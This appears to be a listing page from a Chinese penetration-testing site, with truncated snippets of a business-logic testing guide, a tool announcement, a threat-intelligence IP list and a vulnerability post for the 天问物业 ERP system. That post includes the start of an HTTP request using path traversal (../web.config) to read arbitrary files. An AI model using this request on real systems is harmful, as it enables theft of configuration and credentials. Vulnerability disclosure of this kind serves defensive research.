秃兔
【渗透文库】业务开立场景业务逻辑测试
测试描述：通过抓包工具分析业务开立场景的接口内容及工作流程，逐条实施案例验证是否存在业务逻辑漏洞。若该场景涉及人脸、证书、短信验证码等认证要素，请参考对应的认证要素测试方式，详见x....
天问物业 ERP 系统 AreaAvatarDownLoad.aspx 任意文件读取漏洞
GET /HM/ Main/InformationManage/AreaAvatarDownLoad.aspx?AreaAvatar=../web.config HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firef...
紫兔POC转YAML生成器
2025/02/17 输入POC生成标准格式的YAML文件，加速日常插件编写的工作效率 紫兔POC转YAML生成器 地址https://www.tutusec.com/poc_yaml
【2025你懂的】第十一期情报 威胁情报IP
移动端如显示不完整请使用电脑查看 IP类别地理位置161.97.82.22境外威胁IP德国 巴伐利亚邦 纽伦堡202.182.127.20境外威胁IP日本 东京都 东京154.217.243.249境外威胁IP美国 加利福尼亚州 洛杉矶...
